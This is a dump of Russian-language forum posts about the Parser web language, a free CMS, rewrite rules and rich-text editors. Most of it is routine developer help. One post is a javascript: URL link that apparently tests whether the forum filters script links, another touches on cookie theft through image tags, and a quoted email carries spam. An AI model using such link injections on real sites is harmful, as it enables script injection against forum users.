Я хочу сказать что вы единственный человек, у которого есть реальный шанс быть услышенным. Я уверен что за вами народ потянится."
"50822","забыл написать\
login - test\
пароль - test"
"50823","не проходит логин/пароль :("
"50826","Я только-что проверял, вроде все в порядке. логин - test, пароль - test. Я конечно могу его убрать, но попробуйте еще раз."
"50830","Вот сейчас работает! Супер! Ты молодец!"
"50831","А мы поможем Студии. Это увеличит скорость популяризации Парсера!\
\
Объясню зачем мне это нужно. Чем больше программистов, предпочитающих Парсер, тем проще мне будет создать сообщество по созданию CMS на этом языке. О чем я и собираюсь рассказывать в своих рассылках.\
\
Как вы считаете, что сейчас делает Студия для популяризации? Конкретно что."
"50832","Спасибо, Миша, за твои слова \"да умничать я просто люблю\". Это искренне тобой сказано.\
\
Также я поддерживаю твои слова относительно религиозного оттенка в стандартизации имен и пр. Хотя стандартизация упрощает понимание сути.\
\
У меня вопрос к Мише. Ты написал:\
[quote]ну и наконец я не вижу какую пользу подобная договоренность тут принесет лично мне. :)[/quote]\
\
А ты можешь ответить, что ты хочешь добиться, занимаясь программированием? Какие у тебя цели жизненные?\
\
Поясню свой вопрос. Ты создал, насколько я знаю, форум по техподдержке. Ты добился отличного результата. А что дальше будешь делать?"
"50833","Из меня программер не кудышный (как мне кажется). Поэтому систему эту в одно лицо будет мне тяжело развивать. Если же это делать совместными усилиями, то можно в результате получить достаточно мощную систему, при этом, общедоступную.\
\
Присоединяйтесь."
"50834","Хочу разместить у них сайт на парсере, только вчера пробовал, вроде все работает. У них предустановленного нет, но ставится без проблем, удобная панельуправления, PHpMyAdmin, phpBB и т.д."
"50835","Возможно наше участие в финансировании подобных разработок."
"50838","не знаю в результате чьих действий на сайте, но пару часов назад, в мой почтовый ящик пришло сообщение:\
\
[quote]На ваше сообщение в форуме\
http://www.parser.ru/forum/?id=50748 [ 14:19 13.03.2006 ] ответили.\
\
Автор: '\"[]\"'\
Заголовок: 'Re: Лучше отдельным классом как было ранее ;)'\
Сообщение: 'Ультразвуковое диагностическое оборудование (УЗИ), ядерно магнитно резонансные тамографы (ЯМРТ)\
Ультрозвуковое оборудование Sono Scape Функциональная диагностика SonoScape SSI-600 SonoScape SSI-800 SonoScape SSI-1000\
SonoScape SSI-5000 Датчики для черно-белых ультразвуковых сканеров Ультразвуковые датчики для цветных сканеров\
РЕНТГЕНОЛОГИЯ Компьютерные томографы Компьютерный томограф GE HiSpeed X/i Pro Компьютерный томограф GE HiSpeed X/i\
Компьютерный томограф GE HiSpeed X/i Plus Компьютерный томограф GE HiSpeed X/i Рентгеновский компьютерный томограф GE\
LightSpeed Advantage Рентгеновский компьютерный томограф GE HiSpeed ZX/i Рентгеновский компьютерный томограф GE HiSpeed\
FX/i Рентгеновский компьютерный томограф GE HiSpeed DX/i Plus Рентгеновский компьютерный томограф GE HiSpeed CT/e, CT/e\
Plus ЯМР томографы GENERAL ELECTRIC (США) www.is.nn.ru Ангиографы Палатные рентгеновские системы Маммографические\
рентгеновские системы Палатные рентгеновские системы Мобильные рентгеновские аппараты типа С-дуга Системы для\
рентгенографии Телеуправляемые рентгеновские системы ЭНДОСКО!\
 ПИЧЕСКОЕ ОБОРУДОВАНИЕ «OLYMPUS» (Япония) Бронхофиброскопы Гастрофиброскопы Дуоденофиброскопы Колоноскопы «PENTAX»\
(Япония) «OLYMPUS» (Япония) Пентакс Олимпус Олимпас Уретроренофиброскопы Цистоскопы Холедохофиброскопы Интубационные\
фиброскопы Назоларингофарингоскопы Сигмоидофиброскопы Гистерофиброскопы Риноларингофиброскопы Доплеры Система массового\
обследования сосудов Спирометры КАРДИОЛОГИЯ Электрокардиографы АНЕСТЕЗИОЛОГИЯ, РЕАНИМАЦИЯ И ИНТЕНСИВНАЯ ТЕРАПИЯ Аппараты\
ИВЛ Дефибрилляторы Прикроватные мониторы и пульсоксиметры АКУШЕРСТВО, ГИНЕКОЛОГИЯ И НЕОНАТОЛОГИЯ Билирубинометры\
Неонатальное оборудование, инкубаторы ЛАБОРАТОРНОЕ ОБОРУДОВАНИЕ Анализаторы Гемоглобинометры Глюкометры Коагулометры\
Микроскопы Видеомикроскопы Спектрофотометры Фотометры и фотоэлектроколориметры Центрифуги Ультразвуковые очистители\
Реактивы и диагностикумы www.is.nn.ru'\
\
Всю дискуссию по этой теме вы можете увидеть на странице форума по адресу:\
http://www.parser.ru/forum/?id=50816[/quote]\
\
Дождались в общем :-)"
"50839","Зачем вам лично сообщество я не знаю. \
\
CMS, нормальная в моем понимании (которое излагаю в рассылке) не существует на данный момент.\
\
И один из вариантов создания CMS это создание сообщества разработчиков, которые будут в конечном итоге владельцами системы.\
\
Вам нужна CMS отличная от существующих?"
"50840","ну и чем вы решили всех удивить???\
пока очень всё примитивно продумано и реализовано:\
есть залогиневание + визуальный редактор прикручен, кторый в БД что-то пишет ввиже хтмл\
\
Вы доиграетесь и я выложу в тестовом режиме свой движок!!! :))"
"50842","Я просто сделал то, что все давно грозились и всем обещали. А то что все выглядит просто - так ведь так оно и должно быть.\
\
А, вообще, если все так просто, то что же никто еще не выложил более или менее рабочую версию CMS с редактором?"
"50843","Просто у вас пока концепция движка продумана извените за слово примитивно. Если бы у меня не было на порядок навороченной системы я бы не стал разбрасываться дёгтем :)"
"50844","У студии есть, да она ее никому не даст. Есть коммерчески системы. Платите, пользуйтесь.\
\
.com - БЕСПЛАТНА. Не хотите, не надо, никто не заставляет. Я знаю массу людей, которой и этого за глаза хватит.\
\
Цель была не создать Bitrix, а сделать основу для открытой и свободно расширяемой систем.\
\
Если вы такие умные, то, что же же давно не выложили свою CMS... жалко? а мне нет."
"50845","Как только будет что-то более предметное, непременно обращусь ;)"
"50846","Я еще не разбирался, но как я понял «концепция движка» была взята у Александра Егорова. А интерфейс админки — это не движок. Мне кажется вы путаете эти понятия."
"50847","Я работаю над своей CMS уже более 2 лет. Она очень гибкая и испльзуется все самые новейшие веб-технологии. Но я не собираюсь её раздавать направо и налево. Это коммерческий продукт. А разработчикам Parser - огромная благодарность за тот язык, который они разработали."
"50848","это я вчера переработал, проверял куку которая была у меня установлена на обоих доменах."
"50850","Исходя из [url=\"http://www.parser.ru/forum/?id=50847\"]вашего сообщения[/url] можно понять совсем другое."
"50855","а можно чуть подорбнее про то как ставится?\
самому или через службу поддержки?\
какая версия?"
"50857","человек старался и это работает, значит уже представляет из себя много чего хорошего. Рефакторинг, как вы видимо знаете уважаемый, дело не первое... возможно архитектура не блещет (не знаю не видел), но автор и не выставляет на свой код прайс в 900 зеленых... \
\
ЗЫ а что вы сделали? можете показать? или у вас все исключительно коммерческие продукты, а здесь вы просите решить других за вас детские задачи и критикуете чужие работы?"
"50859","http://www.parser.ru/forum/?id=46722"
"50863","Никогда не любил читать с экрана..."
"50865","можно посмотреть \
tricord@yandex.ru"
"50866","я написал своё мнение по поводу того функционала, что сейчас увидел\
сейчас фактически через интерфейс \"можно\" теоретически добавлять некие публикации вводя их через визуальный редактор и теоретически (практически это тоже думаю работает без проблем) сохранять в БД. Ну и выводить из БД на сайт. + работает модуль авторизации.\
Теперь о том чего я не увидел в этой CRM - там нет возможности одновременного редактирования разных разделов разными пользователями - не разрулена права, т.е. если есть задача когда допустим 5-10 репортёров должны иметь доступ каждый к своей рубрике новостного сайта (и не иметь к чужим) и  выкладывать туда новости + новости могут быть привязаны к разным рубрикам - это пока в концепции данной CRM не наблюдается.\
\
P.S.: я не публикую пока свою CRM, т.к. там пока некоторые моменты не до конца отшлифованы - это не означает, что CRM плохая или она есть только на словах (она используется нами уже на нескольких сайтах). Просто я не хочу, чтобы из-за очевидных мелких недоделок в систему полетели помидоры :)"
"50869","[i]там нет возможности одновременного редактирования разных разделов разными пользователями - не разрулена права,\
т.е. если есть задача когда допустим 5-10 репортёров должны иметь доступ каждый к своей рубрике новостного сайта\
(и не иметь к чужим) и выкладывать туда новости + новости могут быть привязаны к разным рубрикам - это пока в концепции данной CRM не наблюдается.[/i]\
\
Все это уже было заложено движком г-на Егорова. Просто мне пока было не cherb писать ко всему этому \"удобству\" веб-интерфейс.\
\
[i]Просто я не хочу, чтобы из-за очевидных мелких недоделок в систему полетели помидоры :)[/i]\
\
А мне наплевать на помидоры, я знаю что многим, кто работает на Parser достаточно и такой \"заготовки\", чтобы из нее сделать конфетку. Главная идея, открытая система -\
1 - я получил исходники бесплатно, следовательно, сделанное на их основе (по совести) тоже должно быть бесплатным."
"50870","[i]там нет возможности одновременного редактирования разных разделов разными пользователями - не разрулена права,\
т.е. если есть задача когда допустим 5-10 репортёров должны иметь доступ каждый к своей рубрике новостного сайта\
(и не иметь к чужим) и выкладывать туда новости + новости могут быть привязаны к разным рубрикам - это пока в концепции данной CRM не наблюдается.[/i]\
\
Все это уже было заложено движком г-на Егорова. Просто мне пока было не с руки (времени нет) писать ко всему этому \"удобству\" веб-интерфейс.\
\
[i]Просто я не хочу, чтобы из-за очевидных мелких недоделок в систему полетели помидоры :)[/i]\
\
А мне наплевать на помидоры, я знаю что многим, кто работает на Parser достаточно и такой \"заготовки\", чтобы из нее сделать конфетку. Главная идея, открытая система -\
1 - я получил исходники бесплатно, следовательно, сделанное на их основе (по совести) тоже должно быть бесплатным."
"50872","Как я уже говорил ранее, у меня проблемы с доступом на родной сервак. На временный выложил что успел."
"50873","CRM -- Client Relationship Manager\
CMS -- Content Management System"
"50874","ikenovodvorsky@gmail.com\
спасибо.\
С вашего разрешения могу выложить архив на своем фтп, для общественности"
"50875","т.е. не публиковать свой движок\
лично для меня интерес к данному коду исключительно для повышения опыта. Возможно я смогу увидеть в ней хорошую идею и совместить с моим кодом.\
на свой движок я тоже мишень вешать не собираюсь, дело даже не в помидорах (они думаю полетят сразу, ибо одна голова хорошо, а две лучше), а в некоторых моментах, в основном из разряда security, которые я бы просто не хотел \"открывать\"... т.к. сразу вспоминается phpBB и один миллиард заплаток... (дело даже не в популярности)"
"50876","И вам проверка синтаксиса и автокомплит и другие шняги... ммм..."
"50878","просто сейчас мы пытаемся делать CRM :) вот оно у меня на языке и прилипло"
"50879","ох... СRM..."
"50880","плагин к еклипс штука достаточно не сложная, как показывает практика, поэтому вопрос вполне реальный."
"50882","Как можно загрузить файл с другого сервера (есть только ssh доступ), положить на серевере с парсером и затем отдать его клиенту, но так чтоб не видно было путей где он лежит на новом месте. Попробовал через ^file::exec, параметры в скрипт передаются, но scp не может получить файл, видимо нет прав или еще что. Как победить такую бяду?"
"50883","с радостью отвечу.\
\
Надеюсь, если допинаю админа, на неделе заработает полноценный сайт поддержки."
"50884","Если вам будет интересно, то добро пожаловать в наши рассылки. Наверняка мы сможем обменяться опытом.\
\
Ссылку на подписку я дам в этом форуме."
"50888","XUL мне нравится например, как и идея клиентского приложения, вот прикручивать AJAX смысл в админке иногда имеет, правда мне для многих проектов лень, напримр suggestions реализовывать в простых формах."
"50890","в книжный магазин отправляют тех, кто не умеет скачать.\
\
Я скачивать не хочу, потому что подобные книги люблю читать на бумаге.\
\
Печатную продукцию никто не отменял, книгу уже доставляют, вчера заказал."
"50891",".htaccess\
\
RewriteEngine on\
Options +FollowSymlinks\
RewriteBase /\
RewriteRule ^(.*)en/(.*)$ $2\
\
Вот такая вещь написана у меня в .htaccess. Если REQUEST содержит /en/ - включаю переменную для английской версии. Так, всё нормально...\
Но, если адрес вида http://site.domen/en/news, т.е. без конечного слэша, то Apache делает редирект на физический адрес http://site.domen/news/\
\
следующие строки не помогают:\
RewriteCond %{REQUEST_FILENAME} -d\
RewriteRule ^(.+[^/])$ $1/ [R]\
\
Помогите в решении проблемы..."
"50892","попробуйте это:\
^(.*)en/(.*[^/])(/?)$ $2"
"50893","Не помогает... Не так и не эдак\
RewriteRule ^(.*)en/(.*[^/])(/?)$ $2/"
"50894","Файл я получил, осталось отдать только."
"50895","Не помогает... Не так и не эдак\
RewriteRule ^(.*)en/(.*[^/])(/?)$ $2/\
может я туплю, но\
\
тра-та-та/en/news$ == /news/"
"50896","Пути увеличиваются те ./ становится ./../, но почему-то не всегда?\
\
При этом глюк: http://sitename/en или http://sitename/en/  выдаёт 404!"
"50897","RewriteEngine on\
Options +FollowSymlinks\
RewriteBase /\
RewriteRule ^(.*)en/(.*[^/])(/?)$ /?lang=en&page=$2"
"50898","Сижу у них уже третий год, проблем никаких не было. Парсер поставился без каких-либо проблем. Ставил сам, все через консоль. Работает на ура. Если нужны подробности - можно пообщаться вечером в аське 107784586"
"50899","Мне не надо больше GET переменных - поэтому я и прячу всё под /en/. Вот."
"50902","просто сходу взглянув в код, первое нарекание:\
 SELECT * FROM..."
"50903","я не понимаю проблему\
вы редиректите rewrite'ом en/news/ на страницу news, как вы возьмете en/ на странице на которой его нет?"
"50906","[code]\
^object.property.method[]\
[/code]\
\
(должен быть определён ^object.get_property[])\
\
почему нет явном виде связки: \
когда появляется промежуточная переменная у автора кода появляется возможность помочь читателю кода лучше понять происходящее, дав этой переменной внятное имя.\
пусть даже она будет использована лишь однажды.\
\
[code]\
#уже обсуждалось:\
<img src=\"^calcName[].gif\"\
#gif тут вызов, или текст в странице?\
[/code]"
"50907","какая тогда документация толстая получится.\
\
к file::stat, по-моему, отношение очень косвенное."
"50908","попробуйте в VisualStudio [VB]:\
[code]\
Dim fig as Variant\
fig.<Ctrl+Пробел><Ctrl+Пробел><Ctrl+Пробел><Ctrl+Пробел><Ctrl+Пробел>\
[/code]\
сюрприз… ничего не выпадет.\
\
(это уже обсуждалось)\
\
другой вариант, это подсказка слов, имеющихся по исходнику рядом +словарь.\
\
это имеющиеся редакторы уже умеют.\
vim, FAR+Plugin, вероятно ещё многие другие."
"50909","[code]\
$ClassName\
$m_iField(field)\
$s_hObjectById[static field]\
$tPeople[local variable]\
[/code]\
\
и использовать только английские буквы, хотя Parser может и \
[code]\
$вотТак[тоже]\
[/code]"
"50911","вопрос http://www.parser.ru/forum/?id=50705 снимаю.\
\
[i]как понимаю, [b]так[/b] никакие cookie покрасть нельзя.\
и через <img src=\"http://server/страницаВыдающаяJavascript\">\
это невозможно.[/i]"
"50912","и их некрасиво объявлять в заголовке метода..."
"50913","Ага. Спасибо. постараюсь написать аналогичный метод для произвольного пользователя. Хоть поучусь как писать правильный код на хорошем примере. \
А когда ориентировочно будет новый класс? я понимаю что такие на такие вопросы сложно отвечать, но хоть приблизительные прикидки?"
"50914","[code]@method[][local]\
$local.after_method_2[^method_2[]]\
$local.etc[...][/code]"
"50916","[url=\"javascript:close()\"]Закрыть[/url]\
\
UPD: Хе :-)"
"50917","На ближайшее время я постараюсь хорошенько задокументировать то, что уже сделано. Вообще, я расчитываю на работу с единомышлинниками. В форуме многи кричали: \"давайте делать CMS!!!\". Так вот вам основа, предлагайте свои модули, будем их включать."
"50918","Так как система еще пишется, я еще сам не знаю, какие поля мне понадобятся в конечном итоге. И сколько. Когда все более или менее уляжется, можно будет делать оптимизацию"
"50919","Версия с tinymce\
[url=\"http://city.apatity.fio.ru/iso/com.rar\"]http://city.apatity.fio.ru/iso/com.rar[/url] (1 mb)\
\
Без tinymce\
\
[url=\"http://city.apatity.fio.ru/iso/com_notuny.rar\"]http://city.apatity.fio.ru/iso/com_notuny.rar[/url] (180 kb)"
"50920","Прошу прощения у завсегдатаев и спецов. Я абсолютный новичок в Parser. \
\
По наследству мне достался интересный зоопарк: Parser2+PHP+MySQL. Делалось это все соответственно в три этапа тремя разными людьми. [url=\"http://energoserver.ru\"]Ссылка на сайт[/url] \
\
И вопрос собственно в следующем: в IE6 все отображается корректно, а Opera и FireFox некорректно отображает сгенерированную структуру HTML документа. Может ли это быть из-за движка Parser2? Имеет ли смысл перейти на Parser3? Или же углубиться в код и все перепахать?\
\
PS: Поиском пользовался, но ничего по данной теме не нашел. Очень надеюсь, что если кто-нибудь сталкивался с подобным."
"50921","Если в запросе есть /en/ то будут переменные для eng версии"
"50922","Здесь проблема в некорректном html, а какой движок будет его выводить разницы нет. Сделать html валидным и будет вам счастье."
"50923","есть интерес изучать этот язык."
"50925","Может поделитесь. А то, что-то уж больно tinymce тяжел и тормозит в IE. Ко всему прочему, в FCKeditor есть хороший (глючный правда) файловый менеджер"
"50926",":-))))))))))))))\
\
Два сообщения дополняют друг друга:\
чтобы сделать html валидным надо изучить код, а чтобы изучать код надо разобраться с языком.\
\
Ответившим - большое спасибо.\
\
Пошел разбираться........"
"50927",".htaccess в папке с редактором должен содержать строчку:\
\
[code]\
RemoveHandler parsed-html html\
[/code]\
\
И собственно подключение:\
\
[code]\
<!-- Редактор -->\
<script type=\"text/javascript\" src=\"editor/fckeditor.js\"></script>\
<script type=\"text/javascript\">\
	window.onload = function() {\
		var oFCKeditor = new FCKeditor('content')^;\
		oFCKeditor.BasePath = 'editor/'^;\
		oFCKeditor.ToolbarSet = 'Standart'^;\
		oFCKeditor.Height = 500^;\
		oFCKeditor.ReplaceTextarea()^;\
	}\
</script>\
<textarea id=\"content\" name=\"content\">^untaint[as-is]{$text}</textarea>\
<!-- /Редактор -->\
[/code]\
\
Плюс нужно config.js подправить для удобства. Я, например, сделал ToolbarSet свой."
"50928","Файлы выложил те-же, что и высылал по почте. Попробовал сам-же скачать и распаковать - без результата.\
Что-то наш админ с серваком намудрил."
"50929","[code]\
#создаем объект file\
$pic[^image::create(100;100;0x000000)] \
$response:body[^pic.gif[]]\
[/code]\
так работает, но на экран выводится только чёрный квадрат\
[code]\
#кодируем в gif и пытаемся создать новый объект image\
$new_picture[^image::measure[^pic.gif[]]\
^new_picture.html[]\
[/code]\
так не работает..\
что делать?"
"50930","Аккаунт зарегестрировал. Жду подтверждения на регистрацию проекта."
"50931","Уберите $response:body, таким образом вы задаете целиком все тело ответа, заменяя все сгенерированное на картинку."
"50932","Как я понимаю (я еще не ковырял его) что для работы некоторых блоков (файл-менеджера) он использует PHP."
"50933","Есть [url=\"http://www.parser.ru/forum/?id=50463\"]коннектор[/url], написаный на Парсере. Я с ним не разбирался. У меня редактор работает на php и ладно :) Мне это не важно."
"50934","Она конечно не принципиальна, однако проще, когда вся система использует одни язык (для cgi). Ее проще настраивать. Надо работать в этом направлении. Как я понимаю, сам редактор написан на JavaScript и не зависит от конкретного cgi-языка.\
\
Видимо, это мне работа на ближайшее время... *-)"
"50935","вообще это уже обсуждалось...\
генерируете картинку в отдельном файле скажем в image.html\
[code]\
@main[]\
$pic[^image::create(100;100;0x000000)] \
$response:body[^pic.gif[]]\
[/code]\
В своём документе указываете:\
[code]<img src=\"image.html\" />[/code]\
Про то что в расширении не gif - забейте."
"50936","Подскажите, пожалуйста, есть ли какие-либо редакторы или средства разработки, позволяющие разобраться с чужим кодом. Кроме обычных текстовых редакторов."
"50937","Parser обрабатывает эти команды после [b]полной[/b] загрузки страницы.\
Но частенько, внизу страницы программер кидает несколько счетчиков или еще какие картинки и скрипты с чужих ресурсов.\
Вот и получается, что при рефреше в 2-3 секунды, реально так не получиться, пока не позагружаются все эти чужие картинки.\
Это можно как то обойти?\
Спасибо."
"50938","Я не думаю, что под Parser реально написать GUI. Кто-то в форуме уже предлагал свой \"самописны\" редактор Parser-a.\
\
А так, думаю вам будет достаточно редактора с подстветкой синтаксиса Parser:\
http://www.parser.ru/download/utils/"
"50939","он выдает эти заголовки броузеру при выдаче страницы и его не волнует что будет дальшу, тем более не волнует загрузит броузер все остальные элементы при отображении страницы или нет.\
\
более того заголовки приходят обычно ДО самого тела страницы. и как правило броузеры сразу реагируют на location (про refresh не знаю)."
"50940","К сожалению Parser2 и ни одним из указанных редакторов не пользуюсь"
"50941","Рарник плохо передаётся чрез маршрутизаторы, часто вполне нормальный архив приходит битый."
"50942","ошибка:\
/xxx/index.html: T:/wwwroot/xxx/classes//sql.p(70:2): 'mysql://root:xxxx4@localhost/spfbs' undefined protocol 'mysql' [parser.runtime\
\
Неожиданно Parser перестал соединяться с MySQL\
строки подключения не изменял. Пароль - тоже.\
MySQl - работает.\
\
Год всё работало.Не могу понять, что случилось\
\
Web-server: IIS 5 под WIN2000\
Parser 3.1.3 ISAPI"
"50943","Оказалось, я зачем-то из версии в версию таскал за собой старые /cgi-bin/ каталоги с соответствующими .htaccess, хотя сейчас используется общий /cgi-glob/. Всем спасибо, все работает."
"50944","Есть предложение при taint[js][ не эскейпить кавычки \" --> \\\", а заменять hex-эквивалентом: \" --> \\x22 (и аналогично для \\t и \\').\
\
Сегодня напрыгался с проблемой, когда на фрагменте[code]<button onclick=\"tinyMCE.execCommand(\
  'mceInsertContent',\
  false,\
  '^taint[js][<p class=\"quote\">${quote}</p>]')^;\">[/code]Firefox ломался на [code]<p class=\\\"quote\\\"[/code] считая, что кавычка не экранирована."
"50945","сервер берет то, что уже обработано rewrite"
"50947","Не работал с ним никогда."
"50948","То есть сделать Parser 3 языком, нормально поддерживаемым Visual Studio. Я ликбезился по этому поводу довольно кратко, поэтому насколько трудоемко не знаю. Выделяться, выпадать и ругаться там должно все в зависимости от того, какие правила напишешь. Кроме того рулят остальные студийные примочки - SourceSafe, дизайнеры всякие и т. д.\
Где-то я видел, что подобное проделали с PHP.\
\
PS: VB не стоит, \
object _i;\
_i.<тынц>\
работает"
"50949","eclipse.org\
Trustudio и phpEclipse два основных плагина к этому редактору для PHP практически полностью повторяющие функционал Zend IDE.\
ПО с открытым кодом, плагины пишутся для него не так сложно."
"50950","Эксперименты показали, что FCKeditor гораздо удобнее использовать нежели Tinymce. Правда, пока не удалоь пока настроить Filemanager на connector на Parser-е (предложенный в форуме), но думаю это только вопрос времени."
"50951","2Eugene Spearance - спасибо. Забыл про другие файлы. \
\
2Wonder - попробуй и посмотри на ошибку.\
\
В документации парсера написано, что конструктор image::measure может создать объект image из объекта file. Конструктор image::create создает объект типа file. Почему они вместе не работают - загадка."
"50952","Сергей, вопрос по этому поводу.\
Известный нам обоим сайт к лету будет переведен на php. Можно ли ту версию 2003-2004 года на Парсере выложить на обозрение? Как пример? За исключением некоторых подразделов.\
Единственное \"против\" здесь - будут ведь тупо копировать и применять..."
"50953","Не работают вместе, потому что нельзя отдать воздух. Measure работает с существующим на диске файлом и на него ставит ссылку."
"50954","я ошибся - create создает объект image, а ^imgage.gif[] - file.\
Проблема решена - всем спасибо."
"50955","Пытаюсь сделать добавление в БД тегов <img src=\"...\" /> по типу:\
[code]text='эффективного амбулаторного лече-ния в условиях дневного стационара.</p> <img src=\"/user/owen_gun.jpg\">'[/code]\
Выдается ошибка в SQL запросе. Пробовал untaint'ы, taint'ы разнообразные - не помогает."
"50956","а думать пробовали?\
\
писать что \"Пробовал untaint'ы, taint'ы разнообразные - не помогает.\". очень информативно, все моментально поняли что именно вы делали.\
\
кроме того заходим в примеры, видим [url=\"/examples/tainting/\"]Небольшой ликбез по taint/untaint[/url], заходим и там прям черным по русски написано: [b]Вывод новости с тегами из базы данных (в базе данных хранятся теги)[/b]\
\
хотя конечно, если вы попробовали все комбинации taint/untaint, то проблема очень интересная и заслуживает отдельного обсуждения, а возможно она вообще не может быть решена средствами парсера."
"50957","Использую веб-сервис Типографа для обработки текста. В конце получаемой от сервиса обработанной строки почему-то стоит несколько пробелов.\
В чем проблема?"
"50960","^строка.trim[]"
"50961","GUI средство и то мега кривое есть только для coldfusion.\
Это программирование, и frontpage даже для такой простой и удобной технологии как Парсер вы не найдете"
"50962","что-то вроде ^void:sql{text='эффективного....'}"
"50963","Если у тебя остались, то можешь выложить, хотя бы по причине того, что тебя как главного из создателей того портала некоторые товарищи вычиркнули из списка создателей и авторов!!! НЕСПРАВЕДЛИВО!!! И ОБИДНО!!!!\
\
Проект был конечно большой и для меня он стал если честно определённым трамплином. За тот год было наработано много чего. И главное был накоплен опыт, который не купишь :)\
\
Но то что было разработано в 2003-2004 году на сегодня я считаю уже устарело. Т.е. сейчас есть набор модулей (вернее концепция движка) более универсальная и ,более технологически продвинутая. Интернет-магазин из известного нам с тобой проекта это лишь отправная точка, от которого мы выпустили уже несколько более навороченных магазинов с точки зрения управления заказами, курьерами и т.п.\
Недавно видел нутро одного магазина от болотов.ру - у нас сейчас лучше :) хотя так говорить и нескромно :)). Но это объективно так.\
Работающий самописный форум по мотивам этого я тебе помнится показал ещё в январе 2003-го.\
\
Единственное боюсь критики будет по коду масса (именование переменных, и т.д. и т.п.), т.к. писалось подобное впервые и уже давно, то прошу в случае публикации исходников не критиковать, а воспринимать как есть. Критиковать знаю, что есть что. :)"
"50965","создаю на парсере сайт посвященный форексу, написал метод рисующий на подложке график по котировкам и поверх графиков отрисовываются индикаторы и разного рода линии в реальном времени\
\
вопрос если сайт будет посещать большое количество народа и просматривать графики в реальном времени насколько это пригрузит сам парсер на сервере?\
\
стоит ли это делать на парсере или же применять другие инструменты?\
\
с уважением Роман"
"50966","А вы сделайте, чтобы график сохранялся в файл с какой-либо периодичностью (минута, 5 минут), а пользователям выводите статичную картинку. \
Нагрузки никакой, риалтайм почти сохраняется. =)"
"50967","Не делайте реал-тайм обработку каждого запроса. Даже если вы будете кешировать картинку на две секунды (и всем отдавать кеш), вы избежите падения, если к вам внезапно придет тысяча человек."
"50968","Не всегда браузеры реагируют. Экзотика и беты (например последний Нетскейп для мака) могут игнорировать. Но это редкое исключение и проблема браузера, на которую можно забить, потому что скорее всего разработчики браузера пофиксают это в будущем.\
\
А впечатление, что эти команды обрабатываются в конце — ложное: заведите метод, который выполняется самым-самым первым (он обычно пустой в авто.п) и в нем отрабатывайте все редиректы. Жизнь станет проще."
"50969","Вся беда в том, что необходимо именно постоянное изменение графика при каждой загрузке страницы, вот и думаю что делать, с логотипом справился там график часовой и потому раз в полчаса будет рисоваться новый а вот онлайн графики... бяда...\
\
но спасибо и на этом..."
"50973","Что вы ещё хотите от бесплатного сервиса. Он много чего не делает.\
\
То что вам не отвечают на ваши просьбы - закономерно. Студия отвечает на письма только тогда, когда для самой студии возникает хоть какой-то интерес. Проверено.\
\
Подозреваю что тот сервис, которым пользуетесь вы и тот коим пользуется студия абсолютно разные типографы. \
\
Ожидать манны небесной не приходится, а по сему, пользуйтесь тем что есть. :)\
\
P.S. уже писал, повторюсь, мой типограф как сервис будет доступен в апреле. Подробности на http://www.typograf.ru"
"50974","рисовать flash-ем, а он-лайн генерировать xml по которому будет строиться график во flash, т.е. формально, график будет перестраиваться не на стороне сервера, а на стороне клиента."
"50975","Интересная идея!\
наверно так и сделаю!\
осталось тока xml выучить, ну парсер освоил на уровне пользователя знать и xml осилю\
\
Спасибо!"
"50976","некоторые решения перевожу на aspx(c#) и php, обнаружены некоторые особенности работы шаблонов, то что работало на парсере не работает в других языках, приходится делать конструкции по другому.\
скажем конструкция с descedant в парсере нормально работала а aspx ругается, при одних и тех же XML+XSL\
\
правильно ли я понимаю что это связано с обработчиками этих языков?\
есть ли какие-либо общие решения?"
"50977","set это конечно хорошо, а UPDATE там есть?"
"50978","[quot]Единственное боюсь критики будет по коду масса...[/quot]\
Интересное мнение от Вас... Особенно учитывая сообщение в этом трэде."
"50981","Алексей предлагает выложить исходники вот этого сайта http://www.mbclub.ru т.е. показать на чём этот сайт работает изнутри в данный момент. Этот сайт появился в своё время как альтернатива http://www.mbclubs.ru/\
Как можно видеть невооружённым взглядом, сравнивая два этих проекта, то наш портал получился на порядокил на два порядка круче, чем http://www.mbclubs.ru/ - это нормальная трезвая самооценка достигнутого результата.\
форум по мотивом парсер.ру (http://www.mbclub.ru/speak/forum/) за 3 года выдержал почти 200.000 сообщений (на парсер.ру за болшее время существование пока только 51.000)\
И не подумайте что я тут пытаюсь загибать и растопыривать пальцы :) Я это совершенно не люблю делать. Т.ч. с самооценкой я думаю всё нормально.\
Если на этом форуме наберётся хотя бы 10-20 человек (не из студии Лебедева) готовых выложить хотя бы что-то подобное, то это будет очень хорошо. Но я боюсь 10-20 человек имеющих подобные разработки тут не наберётся пока. А у тех у кого есть что-то похожее, как минимум половина не захотят делится с другими \"интелектуальной собственностью\". Ну это их право.\
Т.ч.если я готов опубликовать исходники проекта мб-клуб, наверное я имею положить маленькую \"ложечку дёгтя\" в \"бачонок мёда\" товарища rafael-я, потому что его бачёнок пока не есть бочка. ;-)"
"50982","Все-таки перепаковал исходники в ZIP.\
Загрузка:\
[url=\"http://city.apatity.fio.ru/iso/com_notuny.zip\"]Версия без TinyMCE[/url]  (180 Kb)\
[url=\"http://city.apatity.fio.ru/iso/com.zip\"]Полная версия[/url] (1 Mb)\
\
Добавил в раздел \"[url=\"http://city.apatity.fio.ru/about/\"]описание системы[/url]\" структуру базы и описание таблиц модулей."
"50984","а я только хотел сделать обратный переход :)\
думаете не стоит? почему?"
"50986","1. как показали эксперименты, в IE у TinyMCE тормозит интерфейс (что-то с JavaScript кодом).\
2. у FCKeditor более удобный (и более документырованный) интерфейс для подключения своих модулей.\
3. у FCKeditor более удобный подход к описанию панелей Toolbars.\
4. в FCKeditor уже есть готовый filemanager. Если его немного подкорректировать, то получится просто сказка. Я пытался сделать нечто под TinyMCE... в конце концов забил.\
5. в новой версии (да и в старой тоже глючит) при переносе текста их Word он тащит за собой всякий мусор. Для FCKeditor, вроде как, заявлен \"чистильщик\" кода.\
\
с остальным я пока не разбирался, но тормознутось TinyMCE и filemanager в FCKeditor, как мне кажется, существенные аргументы (по крайней мере для меня)."
"50987","Значительно увеличили скорость загрузки (буквально в разы) благодаря компрессору на php - теперь вместо полусотни запросов делается всего два, а все содержимое gzip'ится перед отправкой.\
Значительно увеличили (тоже в разы) скорость чистки кода от мусора. И вообще качество очистки кода очень возросло. Сам чищу в нем код после ворда - работает на ура.\
ну а менеджер файлов - это уже кому как. Я все-таки написал и файловый менеджер, и менеджер картинок :)"
"50988","А код он чистит коряво... параментры шрифтов, врод как убирает, однако, остается куча \"стиливого муосора\" мусорса.\
1. Попробуйте набрать текст в Word-е, добавить к нему немного формотирования, цвета и небольшую таблицу.\
